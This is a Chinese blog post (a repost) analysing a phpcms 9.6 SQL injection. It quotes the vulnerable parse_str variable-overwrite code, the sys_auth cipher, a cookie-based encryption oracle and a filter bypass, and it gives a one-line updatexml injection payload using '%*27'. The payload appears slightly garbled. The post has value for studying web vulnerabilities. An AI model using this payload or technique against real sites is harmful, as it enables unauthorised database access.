phpcms9.6 注入分析

phpcms9.6 注入分析

漏洞促发点\phpcms\modules\content\down.php


    
    $a_k = trim($_GET['a_k']);
    if(!isset($a_k)) showmessage(L('illegal_parameters'));
    $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
    if(empty($a_k)) showmessage(L('illegal_parameters'));
    unset($i,$m,$f);
    parse_str($a_k);
    if(isset($i)) $i = $id = intval($i);
    if(!isset($m)) showmessage(L('illegal_parameters'));
    if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
    if(empty($f)) showmessage(L('url_invalid'));
    $allow_visitor = 1;
    $MODEL = getcache('model','commons');
    $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
    $this->db->table_name = $tablename.'_data';
    $rs = $this->db->get_one(array('id'=>$id)); 
    $siteids = getcache('category_content','commons');
    $siteid = $siteids[$catid];
    $CATEGORYS = getcache('category_content_'.$siteid,'commons');

    $this->category = $CATEGORYS[$catid];
    $this->category_setting = string2array($this->category['setting']);

$a_k = trim($_GET['a_k']);
首先看到的是GET传入了一个参数只是经过了trim消除空格
跟进看这个参数
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));

经过了sys_auth处理跟进看看在/phpcms/libs/function/globals.func.php的384到430行


    function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    }
    
  • 这是一个phpcms的加密函数,这里就只是单纯的加密,没有进行安全处理

## 重点是这个parse_str($a_k);

  • 好了明显的变量覆盖函数,$a_k直接GET传入除了加密没有别的处理,这就别的导致变量变成可控的了
    $rs = $this->db->get_one(array('id'=>$id));

  • 这里直接入库


        function get_one($query)
    {
        $this->querynum++;
        $rs = $this->conn->Execute($query);
        $r = $this->fetch_array($rs);
        $this->free_result($rs);
        return $r;
    }
  • 这里结果被return1出来了。接下来就是看他如何加密了。

  • 比较懒直接去看别人是怎么处理的~~

看了看veneno师傅的文章 他是直接找到一个能够返回加密数值的点

    
    public static function set_cookie($var, $value = '', $time = 0) {
    $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
    $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
    $var = pc_base::load_config('system','cookie_pre').$var;
    $_COOKIE[$var] = $value;
    if (is_array($value)) {
        foreach($value as $k=>$v) {
            setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
        }
    } else {
        setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
    }
}
  • 然后set_cookie一般能截到cookie

    public function swfupload_json() {
    $arr['aid'] = intval($_GET['aid']);
    $arr['src'] = safe_replace(trim($_GET['src']));
    $arr['filename'] = urlencode(safe_replace($_GET['filename']));
    $json_str = json_encode($arr);
    $att_arr_exist = param::get_cookie('att_json');
    $att_arr_exist_tmp = explode('||', $att_arr_exist);
    if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
        return true;
    } else {
        $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
        param::set_cookie('att_json',$json_str);
        return true;            
    }
}
  • 不过这里要绕过phpcms的安全函数

    function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}
  • 他这里把'转义了,并且把url编码两次的'也转义了。

  • 看看v师傅的黑科技&id=3%*27and updatexml(1,concat(0x7e,user((),1)%23&catid=1&m=1&modellid=1&f=1

  • 把这个url编码过后传入就绕过了waf

  • %*27这个姿势是真的骚

  • 截取到cookie后就是加密过的上面的语句直接传入就可注入了。

总结一下

  • 因为phpcms搭建需要phpsso有点懒,没有搭建。后面复现过程只是看了一下v师傅的文章。但是这次还是给我了一些思路,首先是变量覆盖导致注入,这个没什么说的。主要是下面的加密算法,v师傅是直接找到一个返回点,比我去写脚本跑快多了~~然后就是这个waf绕过姿势,感觉以后会有用上的地方,自己还需要多测测。

转载于:https://www.cnblogs.com/wangshuwin/p/7493573.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值